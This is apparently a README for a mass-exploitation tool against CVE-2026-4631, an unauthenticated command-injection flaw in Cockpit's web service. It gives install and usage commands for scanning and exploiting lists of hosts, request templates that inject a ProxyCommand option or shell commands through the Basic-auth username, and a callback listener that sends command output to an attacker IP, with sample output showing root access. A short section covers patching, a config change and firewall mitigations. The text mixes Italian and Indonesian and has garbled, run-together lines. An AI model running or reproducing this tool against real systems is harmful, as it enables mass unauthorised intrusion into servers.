Esecuzione di codice remota non autenticata tramite iniezione di argomenti nella riga di comando SSH Cockpit versioni 327 – 359 | CVSS 9.8 Critico | CWE-78
Esecuzione Remota di Codice non Autenticata tramite Iniezione di Argomenti della Riga di Comando SSH Versioni Cockpit 327 – 359 | CVSS 9.8 Critico | CWE-78
Strumento di sfruttamento di massa per CVE-2026-4631 sul servizio web Cockpit (cockpit-ws, porta 9090). Supporta la modalità di scansione delle vulnerabilità, la modalità RCE con cattura dell'output dei comandi tramite un listener di callback HTTP integrato, la modalità --auto (scan + exploit in un'unica esecuzione con il comando predefinito id), l'aggiunta automatica della porta :9090 per i target senza porta, entrambi i vettori di attacco (iniezione ProxyCommand + username %r), target di massa da file, concorrenza tramite threading e un output dei risultati strutturato.
Autore: 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Modifica targets.txt — un host per riga. La porta :9090 viene aggiunta automaticamente se assente:
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>
CVE-2026-4631 è una RCE cieca — l'output del comando non viene restituito nella risposta HTTP. Lo strumento utilizza un listener HTTP integrato (porta predefinita 8888) per catturare l'output. Assicurati:
--callback-ip è un IP raggiungibile dal target (non 127.0.0.1)8888 (o su quella di --listener-port personalizzata)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Modifica /etc/cockpit/cockpit.conf:
[WebService]
LoginTo = false
Riavvia il servizio:
sudo systemctl restart cockpit
Limita la porta 9090 alla sola rete di gestione:
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Mitiga il Vettore 1 (iniezione ProxyCommand) tramite la validazione anticipata dell'hostname:
ssh -V # harus OpenSSH_9.6 atau lebih baru
Se non puoi aggiornare alla versione 360, applica i commit di patch:
-- in beiboot.py e cockpitauth.c-- in session.pyDettagli della patch: vedi docs/PATCH_ANALYSIS.md
| Campo | Dettaglio |
|---|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Severità | Critico (CVSS 9.8) |
| CWE | CWE-78 — Iniezione di Comandi del Sistema Operativo |
| Versioni Affette | Cockpit 327 – 359 |
| Corretta in | Cockpit 360+ |
| Auth richiesta | NO (pre-autenticazione) |
| Segnalatore | Jelle van der Waa |
| Servizio | cockpit-ws, porta predefinita 9090 |
Cockpit v327 ha sostituito cockpit-ssh (libssh) con python3 -m cockpit.beiboot, che richiama il client OpenSSH ssh di sistema. L'input controllabile dall'utente — hostname dal percorso dell'URL e username dall'header Authorization: Basic — viene passato a ssh senza sanificazione e senza il separatore -- di fine opzioni. L'iniezione avviene prima della verifica delle credenziali, quindi non è necessaria una login valida.
L'hostname dal percorso dell'URL viene iniettato con l'opzione SSH -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
SSH interpreta -oProxyCommand=<cmd> come opzione ed esegue <cmd> come ProxyCommand. Il comando viene eseguito come processo dell'utente cockpit-ws.
Prerequisito: OpenSSH < 9.6 sul target. OpenSSH 9.6+ dispone della validazione anticipata dell'hostname che blocca i metacaratteri.
%r nell'Username (Secondario)L'username dall'header Authorization: Basic viene iniettato con un comando shell.
GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH espande %r con l'username nella direttiva Match exec → la shell esegue il comando iniettato.
Prerequisito: l'ssh_config del target ha una direttiva Match exec con il token %r.
LoginTo) non disabilitatassh_config con Match exec %r# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Install dependency
pip install -r requirements.txt
# Verifikasi
python3 exploit.py --help
requests>=2.31 — client HTTP per le richieste di exploitcolorama>=0.4 — output del terminale a coloriNon ci sono dipendenze aggiuntive per il listener (utilizza la stdlib http.server + threading).
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]